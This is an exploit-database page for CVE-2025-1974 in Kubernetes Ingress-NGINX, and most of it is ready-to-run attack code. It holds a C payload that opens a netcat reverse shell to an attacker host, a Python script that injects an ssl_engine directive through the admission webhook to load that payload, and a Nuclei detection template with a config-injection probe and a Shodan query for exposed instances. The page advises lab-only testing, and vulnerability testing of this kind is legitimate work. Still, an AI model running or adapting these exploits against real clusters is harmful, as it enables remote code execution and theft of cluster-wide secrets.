Materialized exploit
CVE-2025-1974
CRITICAL3 public exploit(s) for this CVE, 2 materialized with their code.
Ingress-NGINX 4.11.0 - Remote Code Execution (RCE)
By Likhith Appalaneni
How to test this exploit
Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.
Code txt
# Exploit Title: Ingress-NGINX 4.11.0 - Remote Code Execution (RCE)
# Google Dork: N/A
# Date: 2025-06-19
# Exploit Author: Likhith Appalaneni
# Vendor Homepage: https://kubernetes.github.io/ingress-nginx/
# Software Link: https://github.com/kubernetes/ingress-nginx
# Version: ingress-nginx v4.11.0 on Kubernetes v1.29.0 (Minikube)
# Tested on: Ubuntu 24.04, Minikube vLatest, Docker vLatest
# CVE : CVE-2025-1974
1) Update the attacker ip and listening port in shell.c and Compile the shell payload:
gcc -fPIC -shared -o shell.so shell.c
2) Run the exploit:
python3 exploit.py
The exploit sends a crafted AdmissionRequest to the vulnerable Ingress-NGINX webhook and loads the shell.so to achieve code execution.
<---> shell.c <--->
#include <stdlib.h>
__attribute__((constructor)) void init() {
system("sh -c 'nc attacker-ip attacker-port -e /bin/sh'");
}
<---> shell.c <--->
<---> exploit.py <--->
import json
import requests
import threading
import time
import urllib3
import socket
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def upload_shell_via_socket(file_path, target_host, target_port):
print("[*] Uploading shell.so via raw socket to keep FD open...")
try:
with open(file_path, "rb") as f:
data = f.read()
data += b"\x00" * (16384 - len(data) % 16384)
content_len = len(data) + 2024
payload = f"POST /fake/addr HTTP/1.1\r\nHost: {target_host}:{target_port}\r\nContent-Type: application/octet-stream\r\nContent-Length: {content_len}\r\n\r\n".encode("ascii") + data
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_host, target_port))
sock.sendall(payload)
print("[*] Payload sent, holding connection open for 220s...")
time.sleep(220)
sock.close()
except Exception as e:
print(f"[!] Upload failed: {e}")
def build_payload(pid, fd):
annotation = "http://x/#;" + ("}" * 3) + f"\nssl_engine /proc/{pid}/fd/{fd};\n#"
return {
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "exploit-uid",
"kind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"resource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"requestKind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"requestResource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"name": "example-ingress",
"operation": "CREATE",
"userInfo": {
"username": "kube-review",
"uid": "d9c6bf40-e0e6-4cd9-a9f4-b6966020ed3d"
},
"object": {
"kind": "Ingress",
"apiVersion": "networking.k8s.io/v1",
"metadata": {
"name": "example-ingress",
"annotations": {
"nginx.ingress.kubernetes.io/auth-url": annotation
}
},
"spec": {
"ingressClassName": "nginx",
"rules": [
{
"host": "hello-world.com",
"http": {
"paths": [
{
"path": "/",
"pathType": "Prefix",
"backend": {
"service": {
"name": "web",
"port": { "number": 8080 }
}
}
}
]
}
}
]
}
},
"oldObject": None,
"dryRun": False,
"options": {
"kind": "CreateOptions",
"apiVersion": "meta.k8s.io/v1"
}
}
}
def send_requests(admission_url, pid_range, fd_range):
for pid in range(pid_range[0], pid_range[1]):
for fd in range(fd_range[0], fd_range[1]):
print(f"Trying /proc/{pid}/fd/{fd}")
payload = build_payload(pid, fd)
try:
resp = requests.post(
f"{admission_url}/networking/v1/ingresses",
headers={"Content-Type": "application/json"},
data=json.dumps(payload),
verify=False,
timeout=5
)
result = resp.json()
msg = result.get("response", {}).get("status", {}).get("message", "")
if "No such file" in msg or "Permission denied" in msg:
continue
print(f"[+] Interesting response at /proc/{pid}/fd/{fd}:\n{msg}")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Exploit CVE-2025-1974")
parser.add_argument("--upload-url", required=True, help="Upload URL (e.g., http://127.0.0.1:8080)")
parser.add_argument("--admission-url", required=True, help="Admission controller URL (e.g., https://127.0.0.1:8443)")
parser.add_argument("--shell", default="shell.so", help="Path to shell.so file")
parser.add_argument("--pid-start", type=int, default=26)
parser.add_argument("--pid-end", type=int, default=30)
parser.add_argument("--fd-start", type=int, default=1)
parser.add_argument("--fd-end", type=int, default=100)
args = parser.parse_args()
host = args.upload_url.split("://")[-1].split(":")[0]
port = int(args.upload_url.split(":")[-1])
upload_thread = threading.Thread(target=upload_shell_via_socket, args=(args.shell, host, port))
upload_thread.start()
time.sleep(3)
send_requests(args.admission_url, (args.pid_start, args.pid_end), (args.fd_start, args.fd_end))
upload_thread.join()
<---> exploit.py <--->
Ingress-Nginx Controller - Remote Code Execution
By projectdiscovery
How to test this exploit
The Nuclei template IS the test: an executable detection rule. Install nuclei, then run it against a target you control.
nuclei -id CVE-2025-1974 -u https://your-target
Template yaml
id: CVE-2025-1974
info:
name: Ingress-Nginx Controller - Remote Code Execution
author: iamnoooob,rootxharsh,pdresearch,UNC1739
severity: critical
description: |
A security issue was discovered in Kubernetes where under certain conditions, an unauthenticated attacker with access to the pod network can achieve arbitrary code execution in the context of the ingress-nginx controller. This can lead to disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)
impact: |
Vulnerable versions of Ingress-Nginx controller can be exploited to gain unauthorized access to all secrets across namespaces in the Kubernetes cluster, potentially leading to complete cluster takeover.
remediation: |
Update to one of the following versions: Version 1.12.1 or later / Version 1.11.5 or later
reference:
- https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
- https://projectdiscovery.io/blog/ingressnightmare-unauth-rce-in-ingress-nginx
- https://nvd.nist.gov/vuln/detail/CVE-2025-1974
- https://https://github.com/kubernetes/kubernetes/issues/131009
- https://github.com/eeeeeeeeee-code/POC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-1974
cwe-id: CWE-653
epss-score: 0.99525
epss-percentile: 0.99943
metadata:
verified: true
max-request: 1
shodan-query: ssl:"ingress-nginx" port:8443
tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,vuln
variables:
string: "{{to_lower('{{randstr}}')}}"
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "{{string}}",
"kind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"resource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"requestKind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"requestResource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"name": "test-{{randstr}}",
"namespace": "default",
"operation": "CREATE",
"userInfo": {
"uid": "{{string}}"
},
"object": {
"kind": "Ingress",
"apiVersion": "networking.k8s.io/v1",
"metadata": {
"name": "test-{{randstr}}",
"namespace": "default",
"creationTimestamp": null,
"uid": "InjectTest#;\n\n}\n}\n}\nload_module test;",
"annotations": {
"nginx.ingress.kubernetes.io/mirror-target": "fake-mirror-target"
}
},
"spec": {
"ingressClassName": "nginx",
"rules": [
{
"host": "test.example.com",
"http": {
"paths": [
{
"path": "/",
"pathType": "Prefix",
"backend": {
"service": {
"name": "kubernetes",
"port": {
"number": 443
}
}
}
}
]
}
}
]
},
"status": {
"loadBalancer": {}
}
},
"oldObject": null,
"dryRun": true,
"options": {
"kind": "CreateOptions",
"apiVersion": "meta.k8s.io/v1"
}
}
}
matchers:
- type: word
part: body
words:
- 'AdmissionReview'
- 'load_module'
- 'directive is specified too late'
condition: and
# digest: 4b0a00483046022100849ec13aeb683e948ceb2c585790928b692b96d73fce9eb7d4fa9bd7ae52d825022100cca99a5184ba05e92658d5dc572d9f87b3117e7c6a461c50b023349441386b1c:922c64590222798bb761d5b6d8e72950
Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE
By Beatriz Fresno Naumova
How to test this exploit
Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.
Code
Content not materialized yet (fetched on the next cycle).
View at source